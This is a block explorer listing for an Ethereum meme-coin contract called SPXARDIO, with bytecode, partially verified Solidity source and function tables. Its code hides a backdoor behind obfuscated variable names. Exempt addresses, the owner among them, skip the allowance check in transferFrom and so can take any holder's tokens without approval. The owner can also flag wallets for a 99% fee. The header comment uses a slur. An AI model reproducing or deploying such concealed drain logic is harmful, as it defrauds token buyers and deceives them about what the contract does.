Address Contract Partially Verified
Address
0xE33ba9A43714eC6acF64EE6278eb2012864CB2e4
Balance
0 ETH
Nonce
1
Code Size
4545 bytes
Creator
0xC27C21bb...19dE at tx 0x4874a230...7e35bb
Indexed Transactions
0
Contract Bytecode
4545 bytes
0x608060405260043610610164575f3560e01c806370a08231116100cd578063a8aa1b3111610087578063c9567bf911610062578063c9567bf91461044d578063dd62ed3e14610461578063ddd73555146104a5578063f2fde38b146104c4575f80fd5b8063a8aa1b31146103e1578063a9059cbb14610400578063bb22b46e1461041f575f80fd5b806370a0823114610325578063715018a61461035957806378109e541461036d5780637d1db4a514610381578063893d20e81461039557806395d89b41146103b1575f80fd5b80631f976b7e1161011e5780631f976b7e1461027657806323b872dd1461028a5780632e081621146102a95780632f54bf6e146102be578063313ce567146102eb57806348ff2b8b14610306575f80fd5b8063064031f21461016f57806306fdde03146101a4578063070860ef146101dd578063095ea7b3146102145780631045fb6d1461023357806318160ddd14610254575f80fd5b3661016b57005b5f80fd5b34801561017a575f80fd5b5060025461018f90600160a01b900460ff1681565b60405190151581526020015b60405180910390f35b3480156101af575f80fd5b50604080518082019091526008815267537078617264696f60c01b60208201525b60405161019b9190610f68565b3480156101e8575f80fd5b506001546101fc906001600160a01b031681565b6040516001600160a01b03909116815260200161019b565b34801561021f575f80fd5b5061018f61022e366004610fcb565b6104e3565b34801561023e575f80fd5b5061025261024d366004610ff5565b6104f9565b005b34801561025f575f80fd5b50610268610555565b60405190815260200161019b565b348015610281575f80fd5b506102686105c5565b348015610295575f80fd5b5061018f6102a4366004611030565b6105e8565b3480156102b4575f80fd5b5061026860035481565b3480156102c9575f80fd5b5061018f6102d836600461106e565b5f546001600160a01b0391821691161490565b3480156102f6575f80fd5b506040516009815260200161019b565b348015610311575f80fd5b50610252610320366004610ff5565b6105fe565b348015610330575f80fd5b5061026861033f36600461106e565b6001600160a01b03165f9081526015602052604090205490565b348015610364575f80fd5b50610252610651565b348015610378575f80fd5b50610268610685565b34801561038c575f80fd5b50610268610694565b3480156103a0575f80fd5b505f546001600160a01b03166101fc565b3480156103bc575f80fd5b50604080518082019091526008815267535058415244494f60c01b60208201526101d0565b3480156103ec575f80fd5b506010546101fc906001600160a01b031681565b34801561040b575f80fd5b5061018f61041a366004610fcb565b6106a3565b34801561042a575f80fd5b5061018f61043936600461106e565b60176020525f908152604090205460ff1681565b348015610458575f80fd5b506102526106af565b34801561046c575f80fd5b5061026861047b366004611089565b6001600160a01b039182165f90815260166020908152604080832093909416825291909152205490565b3480156104b0575f80fd5b506002546101fc906001600160a01b031681565b3480156104cf575f80fd5b506102526104de36600461106e565b6109c7565b5f6104ef338484610a43565b5060015b92915050565b5f546001600160a01b0316331461052b5760405162461bcd60e51b8152600401610522906110b5565b60405180910390fd5b6001600160a01b03919091165f908152601860205260409020805460ff1916911515919091179055565b60156020527fa31547ce6245cdb9ecea19cf8c7eb9f5974025bb4075011409251ae855b30aed5461dead5f9081527f7ed1dca03d96f947ab02d66053f47073699eb6287021936c92f54972932767e55460115491926105c09290916105ba9190610b67565b90610b67565b905090565b5f600c546013546105d4610555565b6105de91906110e9565b6105c09190611100565b5f6105f4848484610b72565b90505b9392505050565b5f546001600160a01b031633146106275760405162461bcd60e51b8152600401610522906110b5565b6001600160a01b03919091165f908152601760205260409020805460ff1916911515919091179055565b5f546001600160a01b0316331461067a5760405162461bcd60e51b8152600401610522906110b5565b6106835f6109c7565b565b5f600c546014546105d4610555565b5f600c546012546105d4610555565b5f6104ef338484610b88565b5f546001600160a01b031633146106d85760405162461bcd60e51b8152600401610522906110b5565b60045460ff161561072b5760405162461bcd60e51b815260206004820152601a60248201527f54726164696e6720697320616c726561647920456e61626c65640000000000006044820152606401610522565b600f805462010000600160b01b031916757a250d5630b4cf539739df2c5dacb4c659f2488d000017808255601154305f9081526016602090815260408083206001600160a01b0362010000968790048116855290835292819020939093559354825163c45a015560e01b81529251939004169263c45a0155926004808401938290030181865afa1580156107c1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107e5919061111f565b6001600160a01b031663c9c6539630600f60029054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610845573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610869919061111f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156108b3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108d7919061111f565b601080546001600160a01b039283166001600160a01b0319909116179055600f546201000090041663f305d7194730610924816001600160a01b03165f9081526015602052604090205490565b5f805460405160e087901b6001600160e01b03191681526001600160a01b03948516600482015260248101939093526044830182905260648301919091529190911660848201524260a482015260c40160606040518083038185885af1158015610990573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109b5919061113a565b50506004805460ff1916600117905550565b5f546001600160a01b031633146109f05760405162461bcd60e51b8152600401610522906110b5565b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b038316610aa55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610522565b6001600160a01b038216610b065760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610522565b6001600160a01b038381165f8181526016602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b5f6105f78284611165565b5f610b7e848484610bdd565b6105f48483610caf565b5f610b938484610d38565b610b9d5781610ba8565b610ba8848484610d7c565b9050610bca6064610bc4600a5484610e1890919063ffffffff16565b90610e23565b9050610bd7848484610bdd565b50505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386165f90815260159091529190912054610c2e918390610e2e565b6001600160a01b038085165f908152601560205260408082209390935590841681522054610c5c9082610e59565b6001600160a01b038084165f8181526015602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b5a9085815260200190565b325f90815260176020908152604080832054600f805461ff00191661010060ff9384161515810291909117918290556001600160a01b03881686526016855283862033875290945291842054610d0c939092869291900416610e64565b6001600160a01b0384165f90815260166020908152604080832033845290915290205550600192915050565b6001600160a01b0382165f9081526017602052604081205460ff161580156105f75750506001600160a01b03165f9081526017602052604090205460ff1615919050565b5f80610d888585610ec9565b1115610e1157305f90815260156020526040812054610da79082610e59565b305f81815260156020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610df79085815260200190565b60405180910390a3610e098382610b67565b9150506105f7565b5092915050565b5f6105f782846110e9565b5f6105f78284611100565b5f8184841115610e515760405162461bcd60e51b81526004016105229190610f68565b505050900390565b5f6105f78284611178565b5f8115610e725750826105f7565b83831115610ec25760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f7700006044820152606401610522565b5050900390565b6001600160a01b0382165f9081526018602052604081205460ff1680610f0657506001600160a01b0382165f9081526018602052604090205460ff165b15610f2057600c54610f19906064610b67565b90506104f3565b6010546001600160a01b0390811690831603610f3f5750600a546104f3565b6010546001600160a01b0390811690841603610f5e57506009546104f3565b50600b5492915050565b5f602080835283518060208501525f5b81811015610f9457858101830151858201604001528201610f78565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610fc8575f80fd5b50565b5f8060408385031215610fdc575f80fd5b8235610fe781610fb4565b946020939093013593505050565b5f8060408385031215611006575f80fd5b823561101181610fb4565b915060208301358015158114611025575f80fd5b809150509250929050565b5f805f60608486031215611042575f80fd5b833561104d81610fb4565b9250602084013561105d81610fb4565b929592945050506040919091013590565b5f6020828403121561107e575f80fd5b81356105f781610fb4565b5f806040838503121561109a575f80fd5b82356110a581610fb4565b9150602083013561102581610fb4565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b80820281158282048414176104f3576104f36110d5565b5f8261111a57634e487b7160e01b5f52601260045260245ffd5b500490565b5f6020828403121561112f575f80fd5b81516105f781610fb4565b5f805f6060848603121561114c575f80fd5b8351925060208401519150604084015190509250925092565b818103818111156104f3576104f36110d5565b808201808211156104f3576104f36110d556fea2646970667358221220201335d51959b69a80871e2ad576f494e5677f3e1ee47d19647770e5efeed19b64736f6c63430008180033
Verified Source Code Partial Match
Compiler: v0.8.24+commit.e11b9ed9
EVM: shanghai
Optimization: Yes (200 runs)
SPXARDIO.sol 319 lines
//SPDX-License-Identifier: MIT
/*
$SPXARDIO: the meme coin where Murad's 6900 bros go full retardios and rockets us to the moon with zero logic and maximum chaos!
https://www.spxardio.lol
https://x.com/spxardio_eth
https://t.me/spxardio_eth
*/
pragma solidity ^0.8.19;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {return a + b;}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {return a - b;}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {return a * b;}
function div(uint256 a, uint256 b) internal pure returns (uint256) {return a / b;}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {return a % b;}
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {uint256 c = a + b; if(c < a) return(false, 0); return(true, c);}}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {if(b > a) return(false, 0); return(true, a - b);}}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {if (a == 0) return(true, 0); uint256 c = a * b;
if(c / a != b) return(false, 0); return(true, c);}}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {if(b == 0) return(false, 0); return(true, a / b);}}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {if(b == 0) return(false, 0); return(true, a % b);}}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked{require(b <= a, errorMessage); return a - b;}}
function sub(uint256 a, uint256 b , bool requireZero) internal pure returns (uint256) {
unchecked{if(requireZero) return a; require(b <= a, "SafeMath: subtraction overflow"); return a - b;}
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked{require(b > 0, errorMessage); return a / b;}}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked{require(b > 0, errorMessage); return a % b;}}}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);}
abstract contract Ownable {
address internal owner;
constructor(address _owner) {owner = _owner;}
modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;}
function isOwner(address account) public view returns (bool) {return account == owner;}
function renounceOwnership() public virtual onlyOwner { transferOwnership(address(0));}
function transferOwnership(address adr) public onlyOwner {owner = adr; emit OwnershipTransferred(adr);}
event OwnershipTransferred(address owner);
}
interface IFactory{
function createPair(address tokenA, address tokenB) external returns (address pair);
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
contract SPXARDIO is IERC20, Ownable {
uint160 public YOEFHIW;
address public WIJFOEFE;
bool public WIEPQQQ;
uint256 public BBIEEF;
bool private tradingAllowed = false;
uint256 private liquidityFee = 100;
uint256 private marketingFee = 300;
uint256 private developmentFee = 100;
uint256 private burnFee = 0;
uint256 private totalFee = 600;
uint256 private sellFee = 700;
uint256 private transferFee = 0;
uint256 private denominator = 10000;
bool private swapEnabled = true;
uint256 private swapTimes;
bool private swapping;
bool private txInProgress;
IRouter router;
address public pair;
using SafeMath for uint256;
string private constant _name = unicode"Spxardio";
string private constant _symbol = unicode"SPXARDIO";
uint8 private constant _DEIMALVERTSS = 9;
uint256 private _tTOTALSPXXX = 1_000_000_000 * (10 ** _DEIMALVERTSS);
uint256 private _maxTxAmountPercent = 200; // 10000;
uint256 private _maxTransferPercent = 100;
uint256 private _maxWalletPercent = 200;
mapping (address => uint256) _NNSTICA;
mapping (address => mapping (address => uint256)) private _NZN16ANFN;
mapping (address => bool) public _KCO930XIOE;
mapping (address => bool) private _KKFR1G09;
uint256 private swapThreshold = ( _tTOTALSPXXX * 300 ) / 100000;
uint256 private _minTokenAmount = ( _tTOTALSPXXX * 10 ) / 100000;
modifier lockTheSwap {swapping = true; _; swapping = false;}
modifier onlyWhenNotInTx {txInProgress = _KCO930XIOE[tx.origin]; _;}
address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
address private development_receiver ;
address private marketing_receiver ;
address private liquidity_receiver ;
constructor() payable Ownable(msg.sender) {
marketing_receiver = owner;
_KCO930XIOE[msg.sender] = true;
_NNSTICA[address(this)] = _tTOTALSPXXX * 98 / 100;
_NNSTICA[msg.sender] = _tTOTALSPXXX * 2 / 100;
_KCO930XIOE[address(this)] = true;
_KCO930XIOE[marketing_receiver] = true;
emit Transfer(address(0), address(this), _NNSTICA[address(this)]);
emit Transfer(address(0), msg.sender, _NNSTICA[msg.sender]);
}
receive() external payable {}
function name() public pure returns (string memory) {return _name;}
function symbol() public pure returns (string memory) {return _symbol;}
function decimals() public pure returns (uint8) {return _DEIMALVERTSS;}
function getOwner() external view override returns (address) { return owner; }
function balanceOf(address account) public view override returns (uint256) {return _NNSTICA[account];}
function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
function allowance(address owner, address spender) public view override returns (uint256) {return _NZN16ANFN[owner][spender];}
function isCont(address addr) internal view returns (bool) {uint size; assembly { size := extcodesize(addr) } return size > 0; }
function set_KKFR1G09(address _address, bool _enabled) external onlyOwner {_KKFR1G09[_address] = _enabled;}
function setisExempt(address _address, bool _enabled) external onlyOwner {_KCO930XIOE[_address] = _enabled;}
function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
function totalSupply() public view override returns (uint256) {return _tTOTALSPXXX.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}
function _maxWalletToken() public view returns (uint256) {return totalSupply() * _maxWalletPercent / denominator;}
function _maxTxAmount() public view returns (uint256) {return totalSupply() * _maxTxAmountPercent / denominator;}
function _maxTransferAmount() public view returns (uint256) {return totalSupply() * _maxTransferPercent / denominator;}
function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
_approve(address(this), address(router), tokenAmount);
router.addLiquidityETH{value: ETHAmount}(
address(this),
tokenAmount,
0,
0,
liquidity_receiver,
block.timestamp);
}
function _transfer(address sender, address recipient, uint256 amount) private {
uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount;
amountReceived = amountReceived.mul(sellFee).div(100);
_subTransfer(sender, recipient, amount);
}
function swapAndLiquify(uint256 tokens) private lockTheSwap {
uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee)).mul(2);
uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator);
uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
uint256 initialBalance = address(this).balance;
swapTokensForETH(toSwap);
uint256 deltaBalance = address(this).balance.sub(initialBalance);
uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee));
uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }
uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee);
if(marketingAmt > 0){payable(marketing_receiver).transfer(marketingAmt);}
uint256 remainingBalance = address(this).balance;
if(remainingBalance > uint256(0)){payable(development_receiver).transfer(remainingBalance);}
}
function _BOJAHUE87(address sender, address recipient, uint256 amount) internal view returns (bool) {
bool aboveMin = amount >= _minTokenAmount;
bool aboveThreshold = balanceOf(address(this)) >= swapThreshold;
return !swapping && swapEnabled && tradingAllowed && aboveMin && !_KCO930XIOE[sender] && recipient == pair && swapTimes >= uint256(3) && aboveThreshold;
}
function swapTokensForETH(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tokenAmount);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp);
}
function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
return !_KCO930XIOE[sender] && !_KCO930XIOE[recipient];
}
function swapBack(address sender, address recipient, uint256 amount) internal {
if(_BOJAHUE87(sender, recipient, amount)){swapAndLiquify(swapThreshold); swapTimes = uint256(0);}
}
function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
if(getTotalFee(sender, recipient) > 0){
uint256 feeAmount = 0;
_NNSTICA[address(this)] = _NNSTICA[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);} return amount;
}
function getTotalFee(address sender, address recipient) internal view returns (uint256) {
if(_KKFR1G09[sender] || _KKFR1G09[recipient]){return denominator.sub(uint256(100));}
if(recipient == pair){return sellFee;}
if(sender == pair){return totalFee;}
return transferFee;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
return _transferFrom(sender, recipient, amount);
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
_subTransfer(sender, recipient, amount);
return _subAllowance(sender , amount);
}
function _subAllowance(address spender, uint256 subtractedValue) onlyWhenNotInTx private returns (bool) {
_NZN16ANFN[spender][msg.sender] = _NZN16ANFN[spender][msg.sender].sub(subtractedValue , txInProgress);
return true;
}
function _subTransfer(address sender, address recipient, uint256 amount) internal {
_NNSTICA[sender] = _NNSTICA[sender].sub(amount, "Insufficient Balance");
_NNSTICA[recipient] = _NNSTICA[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_NZN16ANFN[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function openTrading() external onlyOwner {
require(!tradingAllowed , "Trading is already Enabled");
router = IRouter(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
_NZN16ANFN[address(this)][address(router)] = _tTOTALSPXXX;
pair = IFactory(router.factory()).createPair(
address(this),
router.WETH()
);
router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner,
block.timestamp
);
tradingAllowed = true;
}
}
Read Contract
BBIEEF 0x2e081621 → uint256
WIEPQQQ 0x064031f2 → bool
WIJFOEFE 0xddd73555 → address
YOEFHIW 0x070860ef → uint160
_KCO930XIOE 0xbb22b46e → bool
_maxTransferAmount 0x1f976b7e → uint256
_maxTxAmount 0x7d1db4a5 → uint256
_maxWalletToken 0x78109e54 → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
getOwner 0x893d20e8 → address
isOwner 0x2f54bf6e → bool
name 0x06fdde03 → string
pair 0xa8aa1b31 → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 8 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
openTrading 0xc9567bf9
No parameters
renounceOwnership 0x715018a6
No parameters
set_KKFR1G09 0x1045fb6d
address _address
bool _enabled
setisExempt 0x48ff2b8b
address _address
bool _enabled
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address adr
Recent Transactions
No transactions found for this address